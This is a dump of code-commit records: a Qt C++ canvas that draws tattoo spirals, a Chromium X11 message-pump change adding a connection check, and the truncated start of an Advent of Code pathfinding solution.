computeSpiralRadius(deg2rad(angle)) - stroke \/ 2;\n        QPointF pointOnSpiral = convertToCartesian(deg2rad(angle), r);\n        if (angle == maxAngle) {\n            painter->setPen(QPen(Qt::black, 1, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin));\n        }\n        painter->drawLine(QPointF(0, 0), pointOnSpiral);\n    }\n    painter->drawArc(-40, -40, 80, 80, 0, -maxAngle * 16);\n    painter->rotate(-270);\n\n    \/\/ recenter transform\n    painter->translate(0, -2 * y + tHeight);\n    for (int i = 0; i < 360; i += 90) {\n        painter->rotate(i);\n        int x = getRadius() + stroke \/ 2 + 2;\n        painter->drawLine(x, 0, x + 5, 0);\n        painter->rotate(-i);\n    }\n\n    painter->setPen(originalPen);\n    painter->resetTransform();\n}\n\nvoid TattooCanvas::drawSpiral(QPainter *painter, int radius, int rotate) {\n    double a = 0;\n    double b = (radius - a) \/ deg2rad(revolution);\n    double angle = 0.0;\n    double r = 0.0;\n\n    QVector<QPointF> points;\n    if (!(a > 0)) {\n        \/\/points.append(QPointF(width() \/ 2, height() \/ 2));\n    }\n\n    while (r < radius) {\n        r = a + b * angle;\n        if (r > radius) {\n            r = radius;\n            angle = r \/ (a + b);\n        }\n        \n        points.append(convertToCartesian(angle, r));\n\n        angle += 0.1;\n    };\n    QPolygonF polyline(points);\n    painter->rotate(rotate);\n    painter->drawPolyline(polyline);\n    painter->rotate(-rotate);\n}\n\nint TattooCanvas::getOriginOffset() const {\n    return std::sqrt(3.0 * std::pow((double) curveRadius, 2.0)) \/ 3.0;\n}\n\nint TattooCanvas::getRadius() const {\n    return (std::min(width(), height()) - (2 * Margin)) \/ 2;\n}\n\nQPointF TattooCanvas::rotatePoint(const QPointF &point, int angle) {\n    double radians = deg2rad(angle);\n    return QPointF(\n            point.x() * std::cos(radians) - point.y() * std::sin(radians),\n            point.x() * std::sin(radians) + point.y() * std::cos(radians)\n    );\n}\n\nvoid TattooCanvas::refreshCanvas() {\n\n}\n\n<commit_msg>added formula and 0 axis<commit_after>#include <algorithm>\n#include <cmath>\n#include <iostream>\n\n#include <QPainter>\n#include <QPaintEvent>\n#include <QPoint>\n#include <QPointF>\n#include <QPolygonF>\n#include <QRect>\n#include <QStylePainter>\n#include <QVector>\n\n#include \"tattoo_canvas.h\"\n\nstatic double PI = 3.1415926535;\n\nstatic double deg2rad(double angle) {\n    return angle \/ 180.0 * PI;\n}\n\nstatic double rad2deg(double angle) {\n    return angle \/ PI * 180.0;\n}\n\nTattooCanvas::TattooCanvas(QWidget *parent) {\n    revolution = 180.0;\n    stroke = 1;\n    curveRadius = 30;\n    markingsVisible = false;\n\n    setMinimumSize(400, 400);\n}\n\nvoid TattooCanvas::setCurveRadius(int radius) {\n    this->curveRadius = radius;\n\n    update();\n}\n\nvoid TattooCanvas::setStroke(int stroke) {\n    this->stroke = stroke;\n\n    std::cout << \"New stroke is \" << stroke << std::endl;\n\n    update();\n}\n\nvoid TattooCanvas::setMarkingsVisible(int enableMarkings) {\n    markingsVisible = enableMarkings == Qt::Checked;\n\n    update();\n}\n\ndouble TattooCanvas::computeSpiralRadius(double angle) {\n    double a = 0;\n    double b = (getRadius() + getOriginOffset() - a) \/ deg2rad(revolution);\n    return a + b * angle;\n    \n}\n\nQPointF TattooCanvas::convertToCartesian(double angle, double radius) {\n    return QPointF(std::cos(angle) * radius, std::sin(angle) * radius);\n\n}\n\nvoid TattooCanvas::paintEvent(QPaintEvent *event) {\n    QStylePainter painter(this);\n    QPen pen(Qt::black, stroke, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin);\n    painter.setPen(pen);\n    painter.setRenderHint(QPainter::Antialiasing);\n\n    int radius = (std::min(width(), height()) - (2 * Margin)) \/ 2;\n    QPoint center(width() \/ 2, height() \/ 2);\n    painter.drawEllipse(center, radius, radius);\n\n    if (markingsVisible) {\n        drawCustomLayer(&painter);\n    }\n    drawCircles(&painter);\n}\n\nvoid TattooCanvas::drawCircles(QPainter *painter) {\n    painter->translate(width() \/ 2.0, height() \/ 2.0);\n\n    double tHeight = std::sqrt(3.0 * std::pow((double) curveRadius, 2.0));\n    double y1 = 2.0 \/ 3.0 * tHeight;\n    double y2 = y1 - tHeight;\n\n    \/\/painter->drawEllipse(QPoint(0, y1), radius, radius);\n    painter->drawArc(0 - curveRadius, y1 - curveRadius, curveRadius * 2.0, curveRadius * 2.0, 60 * 16, 60 * 16);\n    \/\/painter->drawEllipse(QPointF(radius, y2), radius, radius);\n    painter->drawArc(0, y2 - curveRadius, curveRadius * 2.0, curveRadius * 2.0, 180 * 16, 60 * 16);\n    \/\/painter->drawEllipse(QPointF(-radius, y2), radius, radius);\n    painter->drawArc(0 - 2.0 * curveRadius, y2 - curveRadius, curveRadius * 2.0, curveRadius * 2.0, 0, -60 * 16);\n\n    painter->translate(0, y2);\n    int tatRadius = (std::min(width(), height()) - (2 * Margin)) \/ 2;\n    drawSpiral(painter, tatRadius - y2, 270);\n    \n    double xOffset = (1.0 \/ 3.0 * tHeight) * std::cos(deg2rad(30.0));\n    double yOffset = (1.0 \/ 3.0 * tHeight) * std::sin(deg2rad(30.0)); \n\n    painter->translate(xOffset, y1 - yOffset);\n    drawSpiral(painter, tatRadius - y2, 30);\n\n    painter->translate(-2.0 * xOffset, 0);\n    drawSpiral(painter, tatRadius - y2, 150);\n\n    painter->resetTransform();\n}\n\nvoid TattooCanvas::drawCustomLayer(QPainter *painter) {\n    painter->translate(width() \/ 2.0, height() \/ 2.0);\n    QPen originalPen = painter->pen();\n    painter->setPen(QPen(Qt::black, 1, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin));\n\n    double tHeight = std::sqrt(3.0 * std::pow((double) curveRadius, 2.0));\n    double y = 1.0 \/ 3.0 * tHeight;\n\n    int radius = curveRadius - (stroke \/ 2);\n    painter->translate(-curveRadius, -y);\n    painter->drawEllipse(QPoint(0, 0), radius, radius);\n    painter->drawPie(-radius, -radius, 2 * radius, 2 * radius, 0 * 16, -60 * 16);\n    painter->setPen(QPen(Qt::black, 5, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin));\n    painter->drawPoint(0, 0); \n    painter->setPen(QPen(Qt::black, 1, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin));\n    \n    \/\/ Draw curve angle\n    painter->drawPie(-10, -10, 20, 20, 0 * 16, -60 * 16);\n    QChar phi(0x03D5);\n    int charWidth = painter->fontMetrics().width(phi);\n    int charHeight = painter->fontMetrics().height();\n    painter->drawText(charWidth, charHeight - 3, QString(phi));\n   \n    \/\/ Add visible theta & r guides\n    painter->translate(curveRadius, y);\n    painter->translate(0, 2 * y - tHeight);\n    painter->drawLine(0, 0, 0, -50);\n    painter->rotate(270);\n    painter->setPen(QPen(Qt::gray, 1, Qt::DashLine, Qt::RoundCap, Qt::RoundJoin));\n    int maxAngle = 120;\n    for (int angle = 30; angle <= maxAngle; angle += 10) {\n        double r = computeSpiralRadius(deg2rad(angle)) - stroke \/ 2;\n        QPointF pointOnSpiral = convertToCartesian(deg2rad(angle), r);\n        if (angle == maxAngle) {\n            painter->setPen(QPen(Qt::black, 1, Qt::SolidLine, Qt::RoundCap, Qt::RoundJoin));\n        }\n        painter->drawLine(QPointF(0, 0), pointOnSpiral);\n    }\n    painter->drawArc(-40, -40, 80, 80, 0, -maxAngle * 16);\n    painter->rotate(-270);\n    QChar theta(0x03F4);\n    painter->drawText(40 + charWidth \/ 2, 0, theta);\n    painter->drawText(60, 50, \"r\");\n\n    \/\/ recenter transform\n    painter->translate(0, -2 * y + tHeight);\n    QString formula = QString(\"r = a + b\") + theta;\n    formula.append('\\n');\n    formula.append(\"a = 0\\n\");\n    formula.append(QString(\"b = l \/ \") + QChar(0x03C0));\n    painter->drawText(15, -120, 100, 100, Qt::AlignLeft | Qt::TextWordWrap, formula);\n  \n    painter->save();\n    painter->setPen(QPen(Qt::gray, 1, Qt::DotLine, Qt::RoundCap, Qt::RoundJoin));\n    painter->drawLine(0, 0, getRadius(), 0);\n    painter->restore();\n    painter->drawText(getRadius() - 40, -2, \"l\");\n\n    for (int i = 0; i < 360; i += 90) {\n        painter->rotate(i);\n        int x = getRadius() + stroke \/ 2 + 2;\n        painter->drawLine(x, 0, x + 5, 0);\n        painter->rotate(-i);\n    }\n\n    painter->setPen(originalPen);\n    painter->resetTransform();\n}\n\nvoid TattooCanvas::drawSpiral(QPainter *painter, int radius, int rotate) {\n    double a = 0;\n    double b = (radius - a) \/ deg2rad(revolution);\n    double angle = 0.0;\n    double r = 0.0;\n\n    QVector<QPointF> points;\n    if (!(a > 0)) {\n        \/\/points.append(QPointF(width() \/ 2, height() \/ 2));\n    }\n\n    while (r < radius) {\n        r = a + b * angle;\n        if (r > radius) {\n            r = radius;\n            angle = r \/ (a + b);\n        }\n        \n        points.append(convertToCartesian(angle, r));\n\n        angle += 0.1;\n    };\n    QPolygonF polyline(points);\n    painter->rotate(rotate);\n    painter->drawPolyline(polyline);\n    painter->rotate(-rotate);\n}\n\nint TattooCanvas::getOriginOffset() const {\n    return std::sqrt(3.0 * std::pow((double) curveRadius, 2.0)) \/ 3.0;\n}\n\nint TattooCanvas::getRadius() const {\n    return (std::min(width(), height()) - (2 * Margin)) \/ 2;\n}\n\nQPointF TattooCanvas::rotatePoint(const QPointF &point, int angle) {\n    double radians = deg2rad(angle);\n    return QPointF(\n            point.x() * std::cos(radians) - point.y() * std::sin(radians),\n            point.x() * std::sin(radians) + point.y() * std::cos(radians)\n    );\n}\n\nvoid TattooCanvas::refreshCanvas() {\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/message_pump_x.h\"\n\n#include <X11\/extensions\/XInput2.h>\n\n#include \"base\/basictypes.h\"\n#include \"base\/message_loop.h\"\n\n#if defined(TOOLKIT_USES_GTK)\n#include <gdk\/gdkx.h>\n#endif\n\nnamespace {\n\ngboolean XSourcePrepare(GSource* source, gint* timeout_ms) {\n  if (XPending(base::MessagePumpX::GetDefaultXDisplay()))\n    *timeout_ms = 0;\n  else\n    *timeout_ms = -1;\n  return FALSE;\n}\n\ngboolean XSourceCheck(GSource* source) {\n  return XPending(base::MessagePumpX::GetDefaultXDisplay());\n}\n\ngboolean XSourceDispatch(GSource* source,\n                         GSourceFunc unused_func,\n                         gpointer unused_data) {\n  \/\/ TODO(sad): When GTK event proecssing is completely removed, the event\n  \/\/ processing and dispatching should be done here (i.e. XNextEvent,\n  \/\/ ProcessXEvent etc.)\n  return TRUE;\n}\n\nGSourceFuncs XSourceFuncs = {\n  XSourcePrepare,\n  XSourceCheck,\n  XSourceDispatch,\n  NULL\n};\n\n\/\/ The opcode used for checking events.\nint xiopcode = -1;\n\n#if defined(TOOLKIT_USES_GTK)\ngboolean PlaceholderDispatch(GSource* source,\n                             GSourceFunc cb,\n                             gpointer data) {\n  return TRUE;\n}\n#else\n\/\/ If the GTK\/GDK event processing is not present, the message-pump opens a\n\/\/ connection to the display and owns it.\nDisplay* g_xdisplay = NULL;\n#endif  \/\/ defined(TOOLKIT_USES_GTK)\n\nvoid InitializeXInput2(void) {\n  Display* display = base::MessagePumpX::GetDefaultXDisplay();\n  if (!display)\n    return;\n\n  int event, err;\n\n  if (!XQueryExtension(display, \"XInputExtension\", &xiopcode, &event, &err)) {\n    VLOG(1) << \"X Input extension not available.\";\n    xiopcode = -1;\n    return;\n  }\n\n#if defined(USE_XI2_MT)\n  \/\/ USE_XI2_MT also defines the required XI2 minor minimum version.\n  int major = 2, minor = USE_XI2_MT;\n#else\n  int major = 2, minor = 0;\n#endif\n  if (XIQueryVersion(display, &major, &minor) == BadRequest) {\n    VLOG(1) << \"XInput2 not supported in the server.\";\n    xiopcode = -1;\n    return;\n  }\n#if defined(USE_XI2_MT)\n  if (major < 2 || (major == 2 && minor < USE_XI2_MT)) {\n    VLOG(1) << \"XI version on server is \" << major << \".\" << minor << \". \"\n            << \"But 2.\" << USE_XI2_MT << \" is required.\";\n    xiopcode = -1;\n    return;\n  }\n#endif\n}\n\n}  \/\/ namespace\n\nnamespace base {\n\nMessagePumpX::MessagePumpX() : MessagePumpGlib(),\n#if defined(TOOLKIT_USES_GTK)\n    gdksource_(NULL),\n    dispatching_event_(false),\n    capture_x_events_(0),\n    capture_gdk_events_(0),\n#endif\n    x_source_(NULL) {\n  InitializeXInput2();\n#if defined(TOOLKIT_USES_GTK)\n  gdk_window_add_filter(NULL, &GdkEventFilter, this);\n  gdk_event_handler_set(&EventDispatcherX, this, NULL);\n  InitializeEventsToCapture();\n#else\n  InitXSource();\n#endif\n}\n\nMessagePumpX::~MessagePumpX() {\n#if defined(TOOLKIT_USES_GTK)\n  gdk_window_remove_filter(NULL, &GdkEventFilter, this);\n  gdk_event_handler_set(reinterpret_cast<GdkEventFunc>(gtk_main_do_event),\n                        this, NULL);\n#else\n  g_source_destroy(x_source_);\n  g_source_unref(x_source_);\n  XCloseDisplay(g_xdisplay);\n  g_xdisplay = NULL;\n#endif\n}\n\n\/\/ static\nDisplay* MessagePumpX::GetDefaultXDisplay() {\n#if defined(TOOLKIT_USES_GTK)\n  static GdkDisplay* display = gdk_display_get_default();\n  return display ? GDK_DISPLAY_XDISPLAY(display) : NULL;\n#else\n  if (!g_xdisplay)\n    g_xdisplay = XOpenDisplay(NULL);\n  return g_xdisplay;\n#endif\n}\n\n\/\/ static\nbool MessagePumpX::HasXInput2() {\n  return xiopcode != -1;\n}\n\nvoid MessagePumpX::InitXSource() {\n  DCHECK(!x_source_);\n  GPollFD* x_poll = new GPollFD();\n  x_poll->fd = ConnectionNumber(GetDefaultXDisplay());\n  x_poll->events = G_IO_IN;\n\n  x_source_ = g_source_new(&XSourceFuncs, sizeof(GSource));\n  g_source_add_poll(x_source_, x_poll);\n  g_source_set_can_recurse(x_source_, FALSE);\n  g_source_attach(x_source_, g_main_context_default());\n}\n\nbool MessagePumpX::ShouldCaptureXEvent(XEvent* xev) {\n  return\n#if defined(TOOLKIT_USES_GTK)\n      capture_x_events_[xev->type] &&\n#endif\n      (xev->type != GenericEvent || xev->xcookie.extension == xiopcode);\n}\n\nbool MessagePumpX::ProcessXEvent(XEvent* xev) {\n  bool should_quit = false;\n\n  bool have_cookie = false;\n  if (xev->type == GenericEvent &&\n      XGetEventData(xev->xgeneric.display, &xev->xcookie)) {\n    have_cookie = true;\n  }\n\n  if (WillProcessXEvent(xev) == EVENT_CONTINUE) {\n    MessagePumpDispatcher::DispatchStatus status =\n        GetDispatcher()->Dispatch(xev);\n\n    if (status == MessagePumpDispatcher::EVENT_QUIT) {\n      should_quit = true;\n      Quit();\n    } else if (status == MessagePumpDispatcher::EVENT_IGNORED) {\n      VLOG(1) << \"Event (\" << xev->type << \") not handled.\";\n    }\n    DidProcessXEvent(xev);\n  }\n\n  if (have_cookie) {\n    XFreeEventData(xev->xgeneric.display, &xev->xcookie);\n  }\n\n  return should_quit;\n}\n\nbool MessagePumpX::RunOnce(GMainContext* context, bool block) {\n  Display* display = GetDefaultXDisplay();\n  if (!display || !GetDispatcher())\n    return g_main_context_iteration(context, block);\n\n  if (XPending(display)) {\n    XEvent xev;\n    XPeekEvent(display, &xev);\n\n    if (ShouldCaptureXEvent(&xev)) {\n      XNextEvent(display, &xev);\n      if (ProcessXEvent(&xev))\n        return true;\n#if defined(TOOLKIT_USES_GTK)\n    } else if (gdksource_) {\n      \/\/ TODO(sad): A couple of extra events can still sneak in during this.\n      \/\/ Those should be sent back to the X queue from the dispatcher\n      \/\/ EventDispatcherX.\n      gdksource_->source_funcs->dispatch = gdkdispatcher_;\n      g_main_context_iteration(context, FALSE);\n#endif\n    }\n  }\n\n  bool retvalue;\n#if defined(TOOLKIT_USES_GTK)\n  if (gdksource_) {\n    \/\/ Replace the dispatch callback of the GDK event source temporarily so that\n    \/\/ it doesn't read events from X.\n    gboolean (*cb)(GSource*, GSourceFunc, void*) =\n        gdksource_->source_funcs->dispatch;\n    gdksource_->source_funcs->dispatch = PlaceholderDispatch;\n\n    dispatching_event_ = true;\n    retvalue = g_main_context_iteration(context, block);\n    dispatching_event_ = false;\n\n    gdksource_->source_funcs->dispatch = cb;\n  } else {\n    retvalue = g_main_context_iteration(context, block);\n  }\n#else\n  retvalue = g_main_context_iteration(context, block);\n#endif\n\n  return retvalue;\n}\n\nbool MessagePumpX::WillProcessXEvent(XEvent* xevent) {\n  ObserverListBase<MessagePumpObserver>::Iterator it(observers());\n  MessagePumpObserver* obs;\n  while ((obs = it.GetNext()) != NULL) {\n    if (obs->WillProcessEvent(xevent))\n      return true;\n  }\n  return false;\n}\n\nvoid MessagePumpX::DidProcessXEvent(XEvent* xevent) {\n  ObserverListBase<MessagePumpObserver>::Iterator it(observers());\n  MessagePumpObserver* obs;\n  while ((obs = it.GetNext()) != NULL) {\n    obs->DidProcessEvent(xevent);\n  }\n}\n\n#if defined(TOOLKIT_USES_GTK)\nGdkFilterReturn MessagePumpX::GdkEventFilter(GdkXEvent* gxevent,\n                                             GdkEvent* gevent,\n                                             gpointer data) {\n  MessagePumpX* pump = static_cast<MessagePumpX*>(data);\n  XEvent* xev = static_cast<XEvent*>(gxevent);\n\n  if (pump->ShouldCaptureXEvent(xev) && pump->GetDispatcher()) {\n    pump->ProcessXEvent(xev);\n    return GDK_FILTER_REMOVE;\n  }\n  return GDK_FILTER_CONTINUE;\n}\n\nvoid MessagePumpX::EventDispatcherX(GdkEvent* event, gpointer data) {\n  MessagePumpX* pump_x = reinterpret_cast<MessagePumpX*>(data);\n  if (!pump_x->gdksource_) {\n    pump_x->gdksource_ = g_main_current_source();\n    if (pump_x->gdksource_)\n      pump_x->gdkdispatcher_ = pump_x->gdksource_->source_funcs->dispatch;\n  } else if (!pump_x->IsDispatchingEvent()) {\n    if (event->type != GDK_NOTHING &&\n        pump_x->capture_gdk_events_[event->type]) {\n      NOTREACHED() << \"GDK received an event it shouldn't have:\" << event->type;\n    }\n  }\n\n  gtk_main_do_event(event);\n}\n\nvoid MessagePumpX::InitializeEventsToCapture(void) {\n  \/\/ TODO(sad): Decide which events we want to capture and update the tables\n  \/\/ accordingly.\n  capture_x_events_[KeyPress] = true;\n  capture_gdk_events_[GDK_KEY_PRESS] = true;\n\n  capture_x_events_[KeyRelease] = true;\n  capture_gdk_events_[GDK_KEY_RELEASE] = true;\n\n  capture_x_events_[ButtonPress] = true;\n  capture_gdk_events_[GDK_BUTTON_PRESS] = true;\n\n  capture_x_events_[ButtonRelease] = true;\n  capture_gdk_events_[GDK_BUTTON_RELEASE] = true;\n\n  capture_x_events_[MotionNotify] = true;\n  capture_gdk_events_[GDK_MOTION_NOTIFY] = true;\n\n  capture_x_events_[GenericEvent] = true;\n}\n\nCOMPILE_ASSERT(XLASTEvent >= LASTEvent, XLASTEvent_too_small);\n\n#endif  \/\/ defined(TOOLKIT_USES_GTK)\n\n}  \/\/ namespace base\n<commit_msg>aura: Make MessagePumpX check that X connection is open.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"base\/message_pump_x.h\"\n\n#include <X11\/extensions\/XInput2.h>\n\n#include \"base\/basictypes.h\"\n#include \"base\/message_loop.h\"\n\n#if defined(TOOLKIT_USES_GTK)\n#include <gdk\/gdkx.h>\n#endif\n\nnamespace {\n\ngboolean XSourcePrepare(GSource* source, gint* timeout_ms) {\n  if (XPending(base::MessagePumpX::GetDefaultXDisplay()))\n    *timeout_ms = 0;\n  else\n    *timeout_ms = -1;\n  return FALSE;\n}\n\ngboolean XSourceCheck(GSource* source) {\n  return XPending(base::MessagePumpX::GetDefaultXDisplay());\n}\n\ngboolean XSourceDispatch(GSource* source,\n                         GSourceFunc unused_func,\n                         gpointer unused_data) {\n  \/\/ TODO(sad): When GTK event proecssing is completely removed, the event\n  \/\/ processing and dispatching should be done here (i.e. XNextEvent,\n  \/\/ ProcessXEvent etc.)\n  return TRUE;\n}\n\nGSourceFuncs XSourceFuncs = {\n  XSourcePrepare,\n  XSourceCheck,\n  XSourceDispatch,\n  NULL\n};\n\n\/\/ The opcode used for checking events.\nint xiopcode = -1;\n\n#if defined(TOOLKIT_USES_GTK)\ngboolean PlaceholderDispatch(GSource* source,\n                             GSourceFunc cb,\n                             gpointer data) {\n  return TRUE;\n}\n#else\n\/\/ If the GTK\/GDK event processing is not present, the message-pump opens a\n\/\/ connection to the display and owns it.\nDisplay* g_xdisplay = NULL;\n#endif  \/\/ defined(TOOLKIT_USES_GTK)\n\nvoid InitializeXInput2(void) {\n  Display* display = base::MessagePumpX::GetDefaultXDisplay();\n  if (!display)\n    return;\n\n  int event, err;\n\n  if (!XQueryExtension(display, \"XInputExtension\", &xiopcode, &event, &err)) {\n    VLOG(1) << \"X Input extension not available.\";\n    xiopcode = -1;\n    return;\n  }\n\n#if defined(USE_XI2_MT)\n  \/\/ USE_XI2_MT also defines the required XI2 minor minimum version.\n  int major = 2, minor = USE_XI2_MT;\n#else\n  int major = 2, minor = 0;\n#endif\n  if (XIQueryVersion(display, &major, &minor) == BadRequest) {\n    VLOG(1) << \"XInput2 not supported in the server.\";\n    xiopcode = -1;\n    return;\n  }\n#if defined(USE_XI2_MT)\n  if (major < 2 || (major == 2 && minor < USE_XI2_MT)) {\n    VLOG(1) << \"XI version on server is \" << major << \".\" << minor << \". \"\n            << \"But 2.\" << USE_XI2_MT << \" is required.\";\n    xiopcode = -1;\n    return;\n  }\n#endif\n}\n\n}  \/\/ namespace\n\nnamespace base {\n\nMessagePumpX::MessagePumpX() : MessagePumpGlib(),\n#if defined(TOOLKIT_USES_GTK)\n    gdksource_(NULL),\n    dispatching_event_(false),\n    capture_x_events_(0),\n    capture_gdk_events_(0),\n#endif\n    x_source_(NULL) {\n  InitializeXInput2();\n#if defined(TOOLKIT_USES_GTK)\n  gdk_window_add_filter(NULL, &GdkEventFilter, this);\n  gdk_event_handler_set(&EventDispatcherX, this, NULL);\n  InitializeEventsToCapture();\n#else\n  InitXSource();\n#endif\n}\n\nMessagePumpX::~MessagePumpX() {\n#if defined(TOOLKIT_USES_GTK)\n  gdk_window_remove_filter(NULL, &GdkEventFilter, this);\n  gdk_event_handler_set(reinterpret_cast<GdkEventFunc>(gtk_main_do_event),\n                        this, NULL);\n#else\n  g_source_destroy(x_source_);\n  g_source_unref(x_source_);\n  XCloseDisplay(g_xdisplay);\n  g_xdisplay = NULL;\n#endif\n}\n\n\/\/ static\nDisplay* MessagePumpX::GetDefaultXDisplay() {\n#if defined(TOOLKIT_USES_GTK)\n  static GdkDisplay* display = gdk_display_get_default();\n  return display ? GDK_DISPLAY_XDISPLAY(display) : NULL;\n#else\n  if (!g_xdisplay)\n    g_xdisplay = XOpenDisplay(NULL);\n  return g_xdisplay;\n#endif\n}\n\n\/\/ static\nbool MessagePumpX::HasXInput2() {\n  return xiopcode != -1;\n}\n\nvoid MessagePumpX::InitXSource() {\n  DCHECK(!x_source_);\n  GPollFD* x_poll = new GPollFD();\n  Display* display = GetDefaultXDisplay();\n  CHECK(display) << \"Unable to get connection to X server\";\n  x_poll->fd = ConnectionNumber(display);\n  x_poll->events = G_IO_IN;\n\n  x_source_ = g_source_new(&XSourceFuncs, sizeof(GSource));\n  g_source_add_poll(x_source_, x_poll);\n  g_source_set_can_recurse(x_source_, FALSE);\n  g_source_attach(x_source_, g_main_context_default());\n}\n\nbool MessagePumpX::ShouldCaptureXEvent(XEvent* xev) {\n  return\n#if defined(TOOLKIT_USES_GTK)\n      capture_x_events_[xev->type] &&\n#endif\n      (xev->type != GenericEvent || xev->xcookie.extension == xiopcode);\n}\n\nbool MessagePumpX::ProcessXEvent(XEvent* xev) {\n  bool should_quit = false;\n\n  bool have_cookie = false;\n  if (xev->type == GenericEvent &&\n      XGetEventData(xev->xgeneric.display, &xev->xcookie)) {\n    have_cookie = true;\n  }\n\n  if (WillProcessXEvent(xev) == EVENT_CONTINUE) {\n    MessagePumpDispatcher::DispatchStatus status =\n        GetDispatcher()->Dispatch(xev);\n\n    if (status == MessagePumpDispatcher::EVENT_QUIT) {\n      should_quit = true;\n      Quit();\n    } else if (status == MessagePumpDispatcher::EVENT_IGNORED) {\n      VLOG(1) << \"Event (\" << xev->type << \") not handled.\";\n    }\n    DidProcessXEvent(xev);\n  }\n\n  if (have_cookie) {\n    XFreeEventData(xev->xgeneric.display, &xev->xcookie);\n  }\n\n  return should_quit;\n}\n\nbool MessagePumpX::RunOnce(GMainContext* context, bool block) {\n  Display* display = GetDefaultXDisplay();\n  if (!display || !GetDispatcher())\n    return g_main_context_iteration(context, block);\n\n  if (XPending(display)) {\n    XEvent xev;\n    XPeekEvent(display, &xev);\n\n    if (ShouldCaptureXEvent(&xev)) {\n      XNextEvent(display, &xev);\n      if (ProcessXEvent(&xev))\n        return true;\n#if defined(TOOLKIT_USES_GTK)\n    } else if (gdksource_) {\n      \/\/ TODO(sad): A couple of extra events can still sneak in during this.\n      \/\/ Those should be sent back to the X queue from the dispatcher\n      \/\/ EventDispatcherX.\n      gdksource_->source_funcs->dispatch = gdkdispatcher_;\n      g_main_context_iteration(context, FALSE);\n#endif\n    }\n  }\n\n  bool retvalue;\n#if defined(TOOLKIT_USES_GTK)\n  if (gdksource_) {\n    \/\/ Replace the dispatch callback of the GDK event source temporarily so that\n    \/\/ it doesn't read events from X.\n    gboolean (*cb)(GSource*, GSourceFunc, void*) =\n        gdksource_->source_funcs->dispatch;\n    gdksource_->source_funcs->dispatch = PlaceholderDispatch;\n\n    dispatching_event_ = true;\n    retvalue = g_main_context_iteration(context, block);\n    dispatching_event_ = false;\n\n    gdksource_->source_funcs->dispatch = cb;\n  } else {\n    retvalue = g_main_context_iteration(context, block);\n  }\n#else\n  retvalue = g_main_context_iteration(context, block);\n#endif\n\n  return retvalue;\n}\n\nbool MessagePumpX::WillProcessXEvent(XEvent* xevent) {\n  ObserverListBase<MessagePumpObserver>::Iterator it(observers());\n  MessagePumpObserver* obs;\n  while ((obs = it.GetNext()) != NULL) {\n    if (obs->WillProcessEvent(xevent))\n      return true;\n  }\n  return false;\n}\n\nvoid MessagePumpX::DidProcessXEvent(XEvent* xevent) {\n  ObserverListBase<MessagePumpObserver>::Iterator it(observers());\n  MessagePumpObserver* obs;\n  while ((obs = it.GetNext()) != NULL) {\n    obs->DidProcessEvent(xevent);\n  }\n}\n\n#if defined(TOOLKIT_USES_GTK)\nGdkFilterReturn MessagePumpX::GdkEventFilter(GdkXEvent* gxevent,\n                                             GdkEvent* gevent,\n                                             gpointer data) {\n  MessagePumpX* pump = static_cast<MessagePumpX*>(data);\n  XEvent* xev = static_cast<XEvent*>(gxevent);\n\n  if (pump->ShouldCaptureXEvent(xev) && pump->GetDispatcher()) {\n    pump->ProcessXEvent(xev);\n    return GDK_FILTER_REMOVE;\n  }\n  return GDK_FILTER_CONTINUE;\n}\n\nvoid MessagePumpX::EventDispatcherX(GdkEvent* event, gpointer data) {\n  MessagePumpX* pump_x = reinterpret_cast<MessagePumpX*>(data);\n  if (!pump_x->gdksource_) {\n    pump_x->gdksource_ = g_main_current_source();\n    if (pump_x->gdksource_)\n      pump_x->gdkdispatcher_ = pump_x->gdksource_->source_funcs->dispatch;\n  } else if (!pump_x->IsDispatchingEvent()) {\n    if (event->type != GDK_NOTHING &&\n        pump_x->capture_gdk_events_[event->type]) {\n      NOTREACHED() << \"GDK received an event it shouldn't have:\" << event->type;\n    }\n  }\n\n  gtk_main_do_event(event);\n}\n\nvoid MessagePumpX::InitializeEventsToCapture(void) {\n  \/\/ TODO(sad): Decide which events we want to capture and update the tables\n  \/\/ accordingly.\n  capture_x_events_[KeyPress] = true;\n  capture_gdk_events_[GDK_KEY_PRESS] = true;\n\n  capture_x_events_[KeyRelease] = true;\n  capture_gdk_events_[GDK_KEY_RELEASE] = true;\n\n  capture_x_events_[ButtonPress] = true;\n  capture_gdk_events_[GDK_BUTTON_PRESS] = true;\n\n  capture_x_events_[ButtonRelease] = true;\n  capture_gdk_events_[GDK_BUTTON_RELEASE] = true;\n\n  capture_x_events_[MotionNotify] = true;\n  capture_gdk_events_[GDK_MOTION_NOTIFY] = true;\n\n  capture_x_events_[GenericEvent] = true;\n}\n\nCOMPILE_ASSERT(XLASTEvent >= LASTEvent, XLASTEvent_too_small);\n\n#endif  \/\/ defined(TOOLKIT_USES_GTK)\n\n}  \/\/ namespace base\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Day17.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n\ntypedef std::pair<size_t, size_t> Coordinate;\ntypedef std::pair<Coordinate, std::string> Position;\n\nconstexpr size_t GridSize = 4;\n\nstd::string GetPath(const Coordinate & Start, const Coordinate & Destination, const std::string & Prefix);\nvoid GetDoorStatus(const std::string & Hash, bool & Up, bool & Down, bool & Left, bool & Right);\n\nint main()\n{\n\tconst std::string Input = \"rrrbmfta\";\n\n\tstd::cout << \"Path: \" << GetPath(Coordinate(0, 0), Coordinate(3, 3), Input) << std::endl;\n\n\tsystem(\"pause\");\n\n    return 0;\n}\n\nsize_t GetDistance(const Coordinate & Position, const Coordinate & Destination)\n{\n\tint64_t dX = Destination.first - Position.first;\n\tint64_t dY = Destination.second - Position.second;\n\n\treturn std::abs(dX) + std::abs(dY);\n}\n\nsize_t GetHeuristic(const Coordinate & Position, const Coordinate & Destination, const std::string & Path)\n{\n\treturn GetDistance(Position, Destination) + Path.size();\n}\n\nvoid AddToList(std::multimap<size_t, Position> & OpenList, const Coordinate & Position, const Coordinate & Destination, const std::string & 